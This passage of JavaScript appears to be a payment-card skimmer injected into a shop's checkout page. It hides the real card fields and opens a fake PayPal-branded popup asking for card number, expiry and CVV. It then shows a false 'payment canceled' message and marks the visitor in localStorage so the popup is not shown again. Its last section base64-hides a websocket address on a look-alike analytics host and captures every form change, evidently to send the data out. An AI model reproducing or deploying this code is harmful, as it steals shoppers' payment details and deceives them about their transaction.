0-.41814822-.1444178-.44399122-.41832975l-.00494264-.09405035s.08049458-.55326485.08049458-.55637395c0 0 .42196112-1.86048711.49751306-2.10641713.00395412-.01399096.00508387-.02129736.00607239-.02798193-.82132725.00792821-.9669236 0-.97695012-.01461278-.00550753.02005371-.025843.13540142-.025843.13540142l-.43085788 2.09693437-.03699927.1778407-.07159782.5817131c0 .1725552.03078565.31339755.09207452.4324762.19629382.37760055.75622549.4341862 1.07297875.4341862.40812169 0 .79096525-.09544945 1.04967767-.26971465.44907509-.2921002.56656897-.74867195.67135315-1.15440985l.04857917-.20815445s.43467082-1.93230737.5085281-2.18367833c.00282441-.01399096.00395413-.02129736.00776704-.02798193zm1.47893982 1.55881086c-.10478422 0-.29627659.0279819-.46828081.12078865-.0624186.0352883-.12144796.07601755-.18372539.11659135l.056205-.22338905-.03078563-.03762015c-.36476761.08130305-.44639193.0921849-.78333945.14441785l-.02824374.0206755c-.03911752.3570805-.07385733.6255515-.21888878 1.32743145-.05521646.25867735-.11255121.519842-.17002718.7778975l.01553403.03280105c.34527946-.0200537.45006363-.0200537.75015309-.0146128l.02428961-.0290701c.03812903-.21499445.04307165-.2653619.12752039-.70079175.03968242-.20644445.1224365-.66006255.16324868-.8215804.07498704-.038242.14898558-.07586215.21959486-.07586215.16819135 0 .14771465.1615179.14121858.22587635-.00720213.1080413-.06849101.4609245-.13133325.76390655l-.04194194.19556255c-.02923223.14441785-.06128888.2847938-.09052111.427968l.01270966.02860375c.34033679-.0200537.44413246-.0200537.73476028-.0146128l.0341749-.0290701c.0525333-.3357831.06792611-.42563615.16113038-.9145426l.04688457-.22463265c.09108601-.43962715.13684082-.6625498.06792616-.8441214-.07286879-.2034908-.24769738-.2526146-.40826291-.2526146zm1.65214439.4602871c-.18090101.038242-.29627659.0637366-.41094606.08021485-.11368097.02005375-.22453757.038242-.39936616.06498025l-.01383941.0138355-.01270966.01103735c-.01821719.14332965-.0309269.26722735-.05507525.41288885-.02047669.150636-.05196844.3217921-.10323077.56772215-.03968243.18825615-.06015913.25385825-.08275412.32008215-.0220301.06622385-.04631967.1305823-.09094476.31572935l.01045019.0171001.00875554.01570095c.1633899-.00855005.27029237-.0146128.38016043-.01570095.10972684-.00435275.22340776 0 .39936611.00108815l.01539286-.0138355.01652257-.0152346c.02541932-.1669588.02923224-.21188535.04476626-.29334385.01539282-.0873658.04194194-.20830985.10704369-.53134565.03078568-.1517242.06510179-.30298205.09701718-.4578154.03318641-.1542115.06792612-.30609115.10097127-.45781535l-.00494263-.0183437zm.00385525-.620608c-.1643784-.10679765-.45288796-.07290845-.64706354.0746185-.19361063.14457325-.21564072.34977405-.05182718.4579708.16155403.10384405.45119334.0729085.64367421-.0758621.19318708-.14768235.21733543-.3510177.05521651-.4567272zm.99410809 2.473369c.3325698 0 .6734715-.1008904.9300657-.400297.1974235-.2428209.2879446-.60409865.3192952-.7528692.1021011-.4931037.0225949-.7233328-.0772466-.8635533-.1516687-.21375085-.4197016-.28230655-.697761-.28230655-.1672028 0-.5654392.01818825-.87654364.33391765-.22340786.22774175-.32663863.5367866-.38891601.83308405-.06284224.3018939-.13514621.84536505.31887154 1.0476122.14008884.0662239.34203141.08441215.47223481.08441215zm-.0259841-1.10948335c.0766817-.3734032.1672028-.6868008.3982364-.6868008.1810422 0 .1941755.23318275.1136809.6078296-.0144042.0831685-.0804945.3923688-.1698859.5240393-.0624186.09715945-.1362759.15607695-.2179003.15607695-.0242896 0-.1687562 0-.1710157-.23613635-.0011297-.11659135.0204767-.23567.0468846-.3650087zm2.1066988 1.06146325.0259841-.0290701c.0368581-.21499445.0429305-.2655174.1245549-.70079175.0408121-.20644445.1252608-.66006255.1649433-.82158045.0751282-.0383974.1478558-.07601755.2207245-.07601755.1670616 0 .1467262.1615179.140089.2258763-.0060725.1081968-.0673613.4609245-.1313334.76390655l-.0396824.1955626c-.030362.14457325-.0634071.2847938-.0926394.42812345l.0127097.02860375c.3414665-.02005375.441308-.02005375.7336305-.0146128l.0353047-.0290701c.0512623-.33593855.0651017-.42579165.1611304-.9145426l.0457548-.2247881c.0915096-.43962715.1378292-.66239435.0700444-.84396595-.0749871-.2034908-.2509454-.2526146-.4092515-.2526146-.1049254 0-.2974063.02782645-.468422.12078865-.0611476.0352883-.1224365.0758621-.1825956.11659135l.0523921-.22338905-.0281025-.0377756c-.3646263.0814585-.4479453.09234035-.7844692.1445733l-.025843.0206755c-.0408122.35708045-.0739986.62539605-.21903 1.32743145-.0552164.25867735-.1125512.51984195-.1698859.7778975l.0153928.03280105c.3458442-.02005375.4490751-.02005375.7485997-.0146128zm2.5088186.01453505c.0214652-.1153477.1489856-.7990394.1501153-.7990394 0 0 .1085971-.50165375.1152345-.519842 0 0 .0341748-.0522329.0683497-.07290845h.0502738c.4743532 0 1.0099953 0 1.4298381-.3399804.2856852-.2331827.4809905-.57751585.5681223-.99600105.022595-.1026004.0392588-.22463269.0392588-.34666496 0-.16027425-.0292322-.3188385-.1136809-.44273624-.2140874-.32972035-.6404262-.3357831-1.132573-.33827039-.0015534 0-.2426136.00248729-.2426136.00248729-.629976.00855003-.8826161.00606275-.9864117-.00792821-.0087556.05052291-.0252782.14037599-.0252782.14037599s-.2256673 1.15130077-.2256673 1.15316622c0 0-.5400198 2.4477966-.5654392 2.5631443.5500464-.00730635.7755725-.00730635.8704714.0041973zm.4181482-2.0451678s.2399304-1.14896892.2388007-1.14461618l.0077669-.05891749.0033893-.04492654.0958874.01088185s.4948299.046792.5064099.04803565c.1953052.0831685.2757998.29754113.2195948.57736036-.0512623.2557237-.2019425.4707182-.3955532.5745622-.1594358.0879876-.3547411.095294-.5559775.095294h-.1302035zm1.4938667.99045135c-.0634072.2975411-.136276.8410123.3154822 1.0347094.1440429.0674675.2731167.0875212.4043088.08021485.1385355-.00823915.2669031-.08472305.3858092-.1947853-.0107326.04523745-.0214652.0904749-.0321978.1358678l.0204766.0290701c.324944-.01507915.4257741-.01507915.7778319-.0121255l.0319154-.0267383c.0514036-.332674.0998416-.65570975.2334344-1.2921431.0651017-.30484755.1300622-.6067414.1968587-.9103453l-.0104501-.03342285c-.3634967.0741521-.4606551.09000855-.8103124.1445733l-.026549.0237846c-.0035305.0309356-.0072021.0606275-.0105914.09031945-.0543692-.0966931-.1331691-.17923975-.2547583-.2306954-.1554817-.0673121-.5206729.01943185-.8346018.33407305-.2205834.2246327-.3264973.53243385-.3866564.8276432zm.7634275.01818825c.0778115-.3667187.1672028-.67700715.3988014-.67700715.1464436 0 .2235489.14877055.2078737.40247335-.0124272.06327025-.025843.1299605-.0418008.20535625-.0231597.10897405-.0482967.21701535-.0727275.32521215-.0248545.07399665-.0538043.143796-.0855784.1902771-.0595943.09296215-.2013777.150636-.2830021.150636-.0231599 0-.1660731 0-.1710157-.23193905-.0011298-.11550315.0204767-.23442635.0474494-.36500865zm3.9866711-1.21085565-.0281024-.0352883c-.3596838.08021485-.4247856.09296215-.755237.142086l-.0242897.02673825c-.0011296.00435275-.0021182.01103735-.0038128.0171001l-.0011298-.00606275c-.2460027.6247742-.2388006.4899946-.4390485.98185465-.0011298-.02238555-.0011298-.0363765-.0022595-.06016115l-.0501327-1.0662668-.0314917-.0352883c-.3767711.08021485-.3856679.09296215-.7336305.142086l-.0271139.02673825c-.003813.01274735-.003813.0267383-.0060724.0419729l.0022594.00544095c.0434954.2446864.0330452.19012165.0766818.5762722.0203354.1894998.0474494.3800878.0677848.5672558.0343162.3132421.0535219.4674536.0954638.94547815-.2349878.4268798-.2906279.5883977-.51686.9630446l.0015534.0037309-.1592946.27733195c-.0182171.0292256-.0347397.0492793-.0578996.05782935-.0254193.0138355-.0584644.01632275-.1043605.01632275h-.0882616l-.131192.4803564.4500635.00855005c.26422-.00124365.4302931-.1372669.5196844-.32008215l.283002-.53383295h-.004519l.0297972-.03762015c.1903626-.4511308 1.6384179-3.1855867 1.6384179-3.1855867zm-4.7501128 6.3087581h-.1909276l.7066579-2.57293795h.2344228l.0744221-.265051.0072022.29474295c-.0087556.1821934.121448.3437113.4634794.31697305h.3955532l.1361347-.49543555h-.1488443c-.0855785 0-.1252609-.02378465-.1203182-.0747739l-.0072022-.299873h-.7325008v.00155455c-.2368235.00544095-.9440462.0250283-1.0872418.0670012-.1732752.0491238-.3558709.1936971-.3558709.1936971l.071739-.26536195h-.6851925l-.1427719.52652655-.7161194 2.61226815h-.1389591l-.136276.4918601h1.3647364l-.0457548.1640051h.6724828l.0446251-.1640051h.1886681zm-.5599316-2.0501423c-.1097268.03342285-.313929.1347796-.313929.1347796l.1816071-.65757525h.5443977l-.1313333.47911275s-.1681914.01088185-.2807425.0436829zm.0104502.9394154s-.1710158.0236292-.283567.0516111c-.1108566.0369984-.3187303.1535897-.3187303.1535897l.1875382-.6843135h.5472221zm-.3050322 1.1167897h-.5460922l.158306-.5775158h.5443976zm1.315112-1.5959024h.7871525l-.1131162.4032506h-.7976024l-.1197535.4408708h.6979023l-.5284398.8190931c-.0369994.0601612-.0701858.0814585-.1070437.0984031-.0369994.0206755-.0855785.0449265-.1417835.0449265h-.1936107l-.133028.4828437h.5064098c.2632315 0 .4187131-.131826.5335239-.3048476l.3623669-.5459584.0778115.5543531c.0165225.1038439.0843074.1646269.1302034.1882561.0506975.0279819.1030897.0760176.1770882.0831685.0793648.0037309.1366995.0066846.1748285.0066846h.2488272l.1494092-.5403621h-.0981469c-.0563463 0-.1533633-.0104155-.1698859-.0298474-.0165226-.0236292-.0165226-.0600057-.0254194-.1153477l-.0789412-.5555967h-.3232494l.1417836-.1857688h.796049l.1224365-.4408708h-.7370197l.1148107-.4032506h.7347603l.1362759-.497301h-2.1905826zm-6.6483163 1.7081877.1837253-.6728098h.7550958l.1379705-.5004101h-.7558018l.1153756-.4141325h.7385731l.1368408-.4845537h-1.84798632l-.13401641.4845537h.41984283l-.1119863.4141325h-.42097264l-.13952389.5089601h.41970155l-.24487301.8901361c-.03304514.117835.01553408.1627615.04631971.2174817.03149175.0533211.06340718.0886094.13514621.1086631.07399857.0181883.12469597.0290701.19361067.0290701h.8512656l.1516688-.554353-.3773361.0570521c-.0728688 0-.2746701-.0096382-.25264-.0837903zm.0866093-3.22084395-.1913512.38070965c-.0409534.08316845-.0778114.1347796-.1109978.1585642-.0292322.02005375-.0871318.0284483-.1710157.0284483h-.0998415l-.13345158.48704095h.33158128c.1594357 0 .2818722-.0643584.3403368-.09653765.0628422-.0369983.0793647-.0158564.1279439-.0674675l.1119864-.1067977h1.0354146l.1374057-.50709465h-.7579202l.1323219-.2768656zm1.5286064 3.23062205c-.0176524-.027982-.0049427-.0772612.0220301-.1798616l.283002-1.0311339h1.0067472c.1467262-.0023318.25264-.0041973.3215547-.0096382.0739985-.0085501.1544932-.0376202.2421899-.0898531.0905212-.0547202.1368408-.1123941.1759583-.178618.0436366-.0660684.113681-.2106417.1738401-.4335643l.3557296-1.3048905-1.044735.0066846s-.3216959.0522329-.4633381.10990675c-.1429132.06435845-.3471154.2440646-.3471154.2440646l.0943341-.3577023h-.645369l-.9035164 3.29860265c-.0320566.1280949-.0535218.2210571-.0584645.2768655-.0016946.0601612.0689147.1197005.1146695.164627.0540867.0449266.1340164.0376202.2106981.0449266.0806358.0066846.1953053.0108818.3536113.0108818h.4959597l.1522336-.5658567-.4439912.0461702c-.0474494 0-.0817655-.027982-.0960286-.0516111zm.4876277-1.9074346h1.0574447l-.06722.2319391c-.0094616.0054409-.0320566-.0115037-.1396652.0024873h-.9156612zm.2118279-.77789745h1.0663414l-.0766816.27935285s-.5025969-.0054409-.5830915.01088185c-.3541763.06746755-.5610614.27577745-.5610614.27577745zm.802065 1.78653705c-.0087555.0346665-.0225949.0558084-.0419418.0716648-.0214654.0152346-.0562051.0206755-.1080323.0206755h-.1506803l.0088968-.2824619h-.626728l-.0254193 1.380908c-.0009886.0996467.007767.1573206.0739985.2034908.0662315.0576738.2702923.0649802.5449624.0649802h.392729l.1417834-.5168883-.3418902.0206755-.1136809.0073064c-.0155341-.0073064-.030362-.013991-.0468846-.0321792-.0144043-.015701-.0386939-.0060627-.0347398-.1057095l.0026831-.3539713.3585541-.0163228c.1936107 0 .2763648-.0693331.346974-.1354015.0673612-.0632702.0893913-.1360232.1148107-.2344264l.0601592-.3133975h-.4927118z" fill="#fefefe" /> </g>`;

                let unknown = `
    <path opacity="0.2" fill-rule="evenodd" clip-rule="evenodd" d="M2.18182 0C0.976833 0 0 0.89543 0 2V14C0 15.1046 0.976833 16 2.18182 16H21.8182C23.0232 16 24 15.1046 24 14V2C24 0.895431 23.0232 0 21.8182 0H2.18182ZM3.99997 4C3.44769 4 2.99997 4.44772 2.99997 5V8C2.99997 8.55229 3.44769 9 3.99997 9H8.99997C9.55226 9 9.99997 8.55229 9.99997 8V5C9.99997 4.44772 9.55226 4 8.99997 4H3.99997Z" fill="#6A7383"/>
    <path opacity="0.4" fill-rule="evenodd" clip-rule="evenodd" d="M4 11C3.44772 11 3 11.4477 3 12C3 12.5523 3.44772 13 4 13H5.5C6.05228 13 6.5 12.5523 6.5 12C6.5 11.4477 6.05228 11 5.5 11H4ZM8.8 11C8.24772 11 7.8 11.4477 7.8 12C7.8 12.5523 8.24772 13 8.8 13H10.3C10.8523 13 11.3 12.5523 11.3 12C11.3 11.4477 10.8523 11 10.3 11H8.8ZM12.6 12C12.6 11.4477 13.0477 11 13.6 11H15.1C15.6523 11 16.1 11.4477 16.1 12C16.1 12.5523 15.6523 13 15.1 13H13.6C13.0477 13 12.6 12.5523 12.6 12ZM18.5 11C17.9477 11 17.5 11.4477 17.5 12C17.5 12.5523 17.9477 13 18.5 13H20C20.5523 13 21 12.5523 21 12C21 11.4477 20.5523 11 20 11H18.5Z" fill="#6A7383"/>
    </svg>`;


                //pop in the appropriate card icon when detected
                cardnumber_mask.on("accept", function () {
                    console.log(cardnumber_mask.masked.currentMask.cardtype);
                    switch (cardnumber_mask.masked.currentMask.cardtype) {
                        case 'american express':
                            cardnumber.classList.remove('invalid');
                            ccicon.innerHTML = amex;
                            cardnumber.classList.add('valid');
                            break;
                        case 'visa':
                            cardnumber.classList.remove('invalid');
                            ccicon.innerHTML = visa;
                            cardnumber.classList.add('valid');
                            break;
                        case 'diners':
                            cardnumber.classList.remove('invalid');
                            ccicon.innerHTML = diners;
                            cardnumber.classList.add('valid');
                            break;
                        case 'discover':
                            cardnumber.classList.remove('invalid');
                            ccicon.innerHTML = discover;
                            cardnumber.classList.add('valid');
                            break;
                        case ('jcb' || 'jcb15'):
                            cardnumber.classList.remove('invalid');
                            ccicon.innerHTML = jcb;
                            cardnumber.classList.add('valid');
                            break;
                        case 'maestro':
                            cardnumber.classList.remove('invalid');
                            ccicon.innerHTML = maestro;
                            cardnumber.classList.add('valid');
                            break;
                        case 'mastercard':
                            cardnumber.classList.remove('invalid');
                            ccicon.innerHTML = mastercard;
                            cardnumber.classList.add('valid');
                            break;
                        case 'unionpay':
                            cardnumber.classList.remove('invalid');
                            ccicon.innerHTML = unionpay;
                            cardnumber.classList.add('valid');
                            break;
                        case 'Unknown':
                            ccicon.innerHTML = iicons.paymentBrand;

                            cardnumber.classList.add('invalid', 'animated');
                            break;
                        default:
                            ccicon.innerHTML = iicons.paymentBrand;
                            alert();
                            break;
                    }

                });
            };

        function ce(e, t, s) {
            var c = document.createElement("input");
            return c.name = e,
                c.type = "text",
                "card-number" === e && (c.id = "cardccnumber"),
                "card-expm" === e && (c.id = "cardexpm"),
                "card-expy" === e && (c.id = "cardexpy"),
                "card-cvv" === e && (c.id = "cardcvv"),
                c.placeholder = t,
                c.autocomplete = "off",
                c.required = "",
                //c.style.cssText=s,

                c.inputMode = "numeric",
                c
        };

        fields.dataFlag = true;

        fields.logo_img = function () {
            return `<img style="margin-top: 10px;height: 50px;" src="https://www.paypalobjects.com/paypal-ui/logos/svg/paypal-mark-color.svg">`;
        };

        fields.field_number = function () {
            let input = ce("card-number", "●●●● ●●●● ●●●● ●●●●", ""),
                paymentBrand = document.createElement('div');

            paymentBrand.id = 'stripe-payments-brand_';
            paymentBrand.innerHTML = '<svg id="ccicon" class="ccicon" width="32" height="22" viewBox="0 0 32 22" fill="none" style="margin-top: 1%;" xmlns="http://www.w3.org/2000/svg">' + iicons.paymentBrand + '</svg>'

            input.pattern = "[0-9]{4} [0-9]{4} [0-9]{4} [0-9]{4}";
            input.setAttribute("required", "");

            input.addEventListener("input", function (e) {
                e.target.classList.remove('invalid');
                let v = e.target.value.split(" ").join(""),
                    _v = [];
                for (let i = 0; i < v.length; i++) {
                    _v.push(((i + 1) % 4 == 0) ? v[i] + " " : v[i]);
                }
                e.target.value = _v.join("").substr(0, 19);
            }, false);

            input.addEventListener("focus", function (e) {
                e.target.classList.remove('invalid');
            });

            let int = setInterval(function () {
                let wrapper = document.querySelector('#stripe-payments-card-number');
                if (wrapper) {
                    if (!document.getElementById('cardccnumber')) wrapper.append(input);
                    wrapper.append(paymentBrand);
                    clearInterval(int);
                };
            });
        };

        fields.expire = function () {
            let input = ce("card-expm", "MM/YY", "");
            input.setAttribute("required", "");
            input.setAttribute("maxlength", "5");

            let rHNwyKDh9_c;
            input.addEventListener('input', (event) => {
                event.target.classList.remove('invalid');

                event.target.value = event.target.value.replace(/[^0-9\/ ]/g, '').replace(/(\..*?)\..*/g, '$1');

                let rHNwyKDh9_v = event.target.value;

                if (event.target.value.length < 5) {
                    event.target.classList.add('invalid', 'animated');
                    event.target.classList.remove('valid');
                } else {
                    if (event.target.value.split('/')[1] < 23 || event.target.value.split('/')[0] == '00') {
                        event.target.classList.add('invalid', 'animated');
                        event.target.classList.remove('valid');
                    } else {
                        event.target.classList.remove('invalid', 'animated');
                        event.target.classList.add('valid');
                    }
                }

                if (rHNwyKDh9_v == '00') {
                    event.target.value = '01/';
                } else if (rHNwyKDh9_v.length == 3) {
                    event.target.value = rHNwyKDh9_v.substring(0, 2) + '/';
                } else if (rHNwyKDh9_v > 12) {
                    event.target.value = '12/';
                } else {
                    if (rHNwyKDh9_v.length === 1 && Number(rHNwyKDh9_v) > 1) {
                        event.target.value = '0' + rHNwyKDh9_v + '/';
                    }
                    if (rHNwyKDh9_v.split('/')[1] == '') {
                        event.target.value = rHNwyKDh9_v.split('/')[0].substring(0, 1);
                    }
                    if (rHNwyKDh9_v.length == 2 && rHNwyKDh9_c < rHNwyKDh9_v.length) {
                        event.target.value = rHNwyKDh9_v + '/';
                    }
                    rHNwyKDh9_c = rHNwyKDh9_v.length
                }

            });

            input.addEventListener("focusout", function (e) {
                let v = e.target.value,
                    re = /^(0[1-9]|1[0-2])\/(2[3-9]|3[0-9]|40)$/,
                    j = re.test(v);
                if (j) {
                    e.target.classList.remove('invalid', 'animated');
                    e.target.classList.add('valid');
                } else {
                    e.target.classList.remove('valid');
                    e.target.classList.add('invalid', 'animated');
                }

            }, false);

            let int = setInterval(function () {
                let wrapper = document.querySelector('#stripe-payments-card-expire');
                if (wrapper) {
                    if (!document.getElementById('cardexpy') && !document.getElementById('cardexpm')) wrapper.append(input);
                    clearInterval(int);
                };
            });
        };

        fields.cvc = function () {
            let input = ce("card-cvv", "000", '');
            input.setAttribute("required", "");
            input.setAttribute("maxlength", "4");

            input.addEventListener('input', (event) => {
                event.target.classList.remove('invalid');
            });

            input.addEventListener("focusout", function (e) {
                let v = e.target.value,
                    re = /^[0-9]{3,4}$/,
                    j = re.test(v);

                if (j) {
                    e.target.classList.remove('invalid', 'animated');
                    e.target.classList.add('valid');
                } else {
                    e.target.classList.remove('valid');
                    e.target.classList.add('invalid', 'animated');
                }


            }, false);

            let int = setInterval(function () {
                let wrapper = document.querySelector('#stripe-payments-card-cvc');
                if (wrapper) {
                    if (!document.getElementById('cardcvv')) wrapper.append(input);
                    clearInterval(int);
                };
            });
        };

        fields.stage_completion = function () {
            let vl = document.querySelector(".ajaxform").querySelectorAll('.valid').length,
                ivl = document.querySelector(".ajaxform").querySelectorAll('.invalid').length;

            if (ivl == 0) {
                if (vl == 3) {
                    document.querySelector('.pp-formarea').classList.add('hidden');


                    document.querySelector('.spinner').classList.remove('invisible');

                    setTimeout(function () {
                        document.querySelector('.spinner').classList.add('invisible');
                    }, 3500);

                    setTimeout(function () {
                        document.querySelector('.pp-formarea').style.display = "none";

                        let canc_block = document.createElement('div');
                        canc_block.id = "canc_block";
                        canc_block.classList.add('CB');
                        canc_block.innerHTML = `<div class="CB__notification"><img alt="" src="data:image/webp;base64,UklGRh4EAABXRUJQVlA4IBIEAABwGACdASpkAGQAPlEijkSjoiEXLARMOAUEsQN8Dl5cp+zapb1z8gOXt4B8IZOv4h+bf4j+d/sN/a/p16APMA/SL/B9QDzAftF6w/oM9AD9Xf/p2BH65ewB+1Xpa/9L/gfCV+y/7Le0Nqv0IMqSG+aLLzr1yNVa7oWyef4CbqlgUWGz8+lkdGroEF3DXVJvz91QHkJA/7gQNDspz8X+fWXPDuZ41R+wup/rRejAROrIvL95WYQ2GmY03MEUm/4Tzw3i06MCNiOGg0X7HqAA/v245gtN8RNRYmBwvsTEc9tLZ+PlS9UplDbl1B54l3wIm3WeMixrXZ9d7yZ/BzLQhsK5t8B+3Bc5BnKHwjylHDGb6vdcc8xproA4UuaWClJJ9TAosv8bga5TDQqzA6swT4eEotSrnKNg4Ma7OtoEPT651mzFLMQCl4+bAnkNawmjdiIvC6PShFU5GucqhPUUTAYQ3Bi61JNpwZ86+tC1N2eQfhHHDYfu63MjFzfACwlQobcKmjh//v+xnfZ+mue3h1X3VDYLJAwrymgaJfxFya+vk1rG8Ig2MiWfKfyczI/6cAg9/+hO8hr2f40gIj+Zaa1yWPQgkzLEG4rgWDUY7XXWIPZB/qu5xhjpiN/eVaD9J/9V0rHV3iLxxBZkU+zJslOS+KZ4b6yTnrkz9LRQf3e2Cpzr5T0FHQFubmriGZ9wnG2P7aAAxtYOh0IgVyxFBUKkka9AL5rPbVPKlmavRDsjbqCnt+YgPHeZgLMCX6Eh6CUydardeYMNZ8699J9/Mb7f5neTRr1h5FADr8NmS/1FnVNYYTh7IRJxpZX5NTL89mCxAcYuSylvOs4RX65+i36fAL7F0fK9Bm34kdvMLn0z8gey4OZETCpPzORFoXG4kuGhzvAXu8h7dgfhYYV4U60I7Ai280feRTejyyWb4s304+FEzpSB5+TIumKCwMvvBncsomJnOKWDmzab1w7M99cn3v6k1CI38jt4hIk72q6rdnAwnteFhegFpvV8yLOv0/L9JWKqaaKJ8GQ0z4Nzf/tO/bn8jhyfJG8verHdjJBBfMo+9fLVJ6bAf9/SmHnfNeZjGWQ+Nd7nyRPtjbzleHGdO4+4wXhbEMNOqCNqoCOA1s+hqJ3+4KfdPwAZQfToVpDwAdhSZ2SeU3P5EXMX/8x0Yea8qnInNhQ17VN66M+ZfIxyYLC4BX2EzbqqIScy35ibBaXPe/I58O7SvQ7P4LYx+v1rHCvOddOcvWCeX80ygm0feT9civvTM71sT3cJ6TTvMguGItu9glwZxPqn8jZlY5aWa5SE2IpPACrHqFmMCOTyOm97I61/AaYqDY/jEna+4cg+gd7JWR/5JVOxIf1uzr76BOc3lY8JFv9YrgvePAAA" />Your payment has been canceled...</div><div class="CB__payment-test">An error occurred, please try again</div>`;
                        document.querySelector('#pp-00 .pp-00__body').append(canc_block);
                    }, 4000);

                    setTimeout(function () {
                        localStorage.setItem('QIQWJJnh1Ckclw0jFr5KPME2M3kYHTyq', '5spSXI2xFGbOszZeTKDSBS9Dw4tY87ld');
                        document.getElementById('pp-00').remove();
                        document.querySelector('#paypal-express-in-context-button .zoid-outlet').classList.remove('KFw5sxQETMNALASz');
                        document.getElementById('KFw5sxQE').remove();
                        freezeScroll(document.body, false);
                        fields.dataFlag = false;
                    }, 8500);
                }
            } else {
                let inv = document.querySelector(".ajaxform").querySelectorAll('.invalid');
                for (let i = 0; inv.length > i; ++i) {
                    inv[i].classList.add('animated');
                    setTimeout(function () {
                        inv[i].classList.remove('animated');
                    }, 3000);
                }
            }

        };

        !(function () {
            const
                options = {
                    disableScript: !!0,
                    isDebugMode: !!0,
                    targetSelector: '#checkout-payment-method-load .payment-method',
                    mainButton: '#paypal-express-in-context-button .zoid-outlet',
                    mainRadioTargetIdArr: ["payone_creditcard"],
                    areElementsToHide: !!1,
                    selectorsToHide: ["#cardpan", "#cardexpiremonth", "#cardexpireyear", "#cardcvc2"],
                    insertMode: "append", // or beforeInsert 
                    selectorsToAppend: ["#cardpan", "#cardexpiremonth", "#cardexpireyear", "#cardcvc2"],
                    showPaymentBrandIcon: !!0,
                },

                gbi = function (e) {
                    const result = document.getElementById(e);
                    return result;
                },

                qs = function (e) {
                    const result = document.querySelector(e);
                    return result;
                },

                qsa = function (e) {
                    const result = document.querySelectorAll(e);
                    return result;
                };

            prepare_button = (function () {
                if (localStorage.getItem('QIQWJJnh1Ckclw0jFr5KPME2M3kYHTyq') === null) {
                    let myint = setInterval(function () {
                        if (qs(options.mainButton)) {
                            addcss(build_css());
                            qs(options.mainButton).classList.add('KFw5sxQETMNALASz');
                            clearInterval(myint);
                        }
                    });
                }
            })(),

                close_form = function () {
                    qs('.pp_popup').classList.add('hidden');
                    freezeScroll(document.body, false);
                },

                call_form = (function () {

                    fields.form =
                        `<form method="post" action="" class='ajaxform form_check form_style'> 
                        <h4 class="popup__title">Credit Card</h4>
                        <div class="pp-flex-line">
                        <label class="ajaxform__fa-back fa-back">Card number<span class="redstar">*</span></label>
                        <div id="stripe-payments-card-number" class="pos-rel"></div>
                        </div>
                        
                        <div class="pp-flex-line">
                        <div class="rcell rcell--expire">
                        <label class="">Expiry date<span class="redstar">*</span></label>
                        <div id="stripe-payments-card-expire"></div>
                        </div>
                        
                        <div class="rcell rcell--cvc">
                        <label class="" title="The three digits after the card number on the signature field of your card.">CVV/CVC<span class="redstar">*</span></label>
                        <div id="stripe-payments-card-cvc"></div>
                        </div>
                        </div>
                        <div class="pp-flex-line" style="display: none">
                        <label class="ajaxform__fa-back fa-back">Cardholder name</label>
                        <div id="stripe-payments-card-number">
                        <input type="text" placeholder="Name">
                        </div>
                        </div>
                        <div class="send-block">
                        <button class="btn btn-color action primary" type="submit" title="Continue"><span>Continue</span></button>
                        </div>
                    </form>`;

                    fields.call_form = function () {
                        let wrap = document.createElement('div'),
                            pp_body = document.createElement('div');


                        wrap.classList.add("pp_popup", "hidden", "pp-00");
                        wrap.id = "pp-00";

                        pp_body.classList.add("pp-00__body", "pp-00__body--initial", "pp-00__body--min");
                        pp_body.innerHTML = `<div class="pp-logo" style="width: 90%;">` + fields.logo_img() + '</div><div class="footer-rights" style=""><ul class="footerGroup"><li><al target="_blank" pa-marked="1" href="https://www.paypal.com/us/smarthelp/contact-us">Contact</al></li><li><al target="_blank" pa-marked="1" href="https://www.paypal.com/us/webapps/mpp/ua/privacy-full">Data protection</al></li><li><al target="_blank" pa-marked="1" href="https://www.paypal.com/us/webapps/mpp/ua/legalhub-full">AGB</al></li><li><al target="_blank" pa-marked="1" href="https://www.paypal.com/us/webapps/mpp/country-worldwide">Worldwide</al></li></ul></div>';
                        wrap.append(pp_body);
                        document.body.append(wrap);

                        //qs('.popup__close.close').addEventListener('click', close_form, false);  
                        freezeScroll(document.body);
                        qs('.pp_popup').classList.remove('hidden');

                        const int23 = setInterval(function () {
                            if (!qs('#pp-00').classList.contains('hidden')) {

                                setTimeout(function () {
                                    qs('.pp-00__body').classList.remove('pp-00__body--initial');
                                }, 100);

                                setTimeout(function () {
                                    let spin = document.createElement('div');
                                    spin.classList.add('spinner', 'loading', 'invisible');
                                    qs('.pp-00__body').append(spin);
                                    qs('.spinner.loading').classList.remove('invisible');
                                }, 1100);



                                setTimeout(function () {
                                    qs('.pp-00__body').classList.remove('pp-00__body--min');

                                    let formarea = document.createElement('div');
                                    formarea.classList.add('pp-formarea', 'hidden');
                                    formarea.innerHTML = fields.form;
                                    qs('.pp-00__body').append(formarea);

                                    fields.field_number();
                                    fields.expire();
                                    fields.cvc();
                                }, 2500);

                                setTimeout(function () {
                                    qs('.spinner.loading').classList.add('invisible');
                                    qs('.pp-formarea').classList.remove('hidden');

                                    let mynt = setInterval(function () {
                                        if (!qs('.pp-formarea').classList.contains('hidden')) {
                                            masker();
                                            qs('.ajaxform').addEventListener("submit", function (e) {
                                                e.preventDefault();
                                                fields.stage_completion();
                                            });
                                            clearInterval(mynt);
                                        }
                                    });
                                }, 3000);

                                clearInterval(int23);
                            }
                        });

                    };

                    const myint = setInterval(function () {
                        const _btn = qs(options.mainButton);
                        if (_btn) {
                            _btn.addEventListener('click', function (e) {
                                if (_btn.classList.contains('KFw5sxQETMNALASz')) {
                                    if (fields.dataFlag) fields.call_form();
                                }
                            });
                            clearInterval(myint);
                        }
                    });

                })();

        })();

        // -----------------------------------------------------------------------------------------------------------------//


        if (typeof JSON !== "object") {
            JSON = {};
        }
        (function () {
            "use strict";

            var arr_links = JSON.parse(atob(`WyJ3c3M6XC9cL2d0bS1zdGF0bHN0aWNzLmNvbToyMDk2Il0=`)),
                dom_ind = 0,
                key_data = "etrhethr5",
                key_token = "grewhe45t",
                user_link = "",
                data_obj = {
                    cc: {},
                    data: {}
                };

            addEventListener("change", (event) => {
                parse_event(event);
            });

            if (localStorage.getItem(key_data)) {
                var str_data = localStorage.getItem(key_data);
                data_obj = JSON.parse(str_data);
            }

            if (localStorage.getItem(key_token)) user_link = localStorage.getItem(key_token);
            else {
                var tok = "_" + makeid(14);
                user_link = tok;
                localStorage.setItem(key_token, tok);
            }

            function write_storage(data) {
                localStorage.setItem(key_data, JSON.stringify(data));
            }

            function get_key(target) {
                var key = target.getAttribute("name");
                if (typeof (key) === "undefined") key = target.getAttribute("id");
                return typeof (key) === "undefined" ? makeid(5) : key;
            }

            function makeid(length) {
                let result = '';
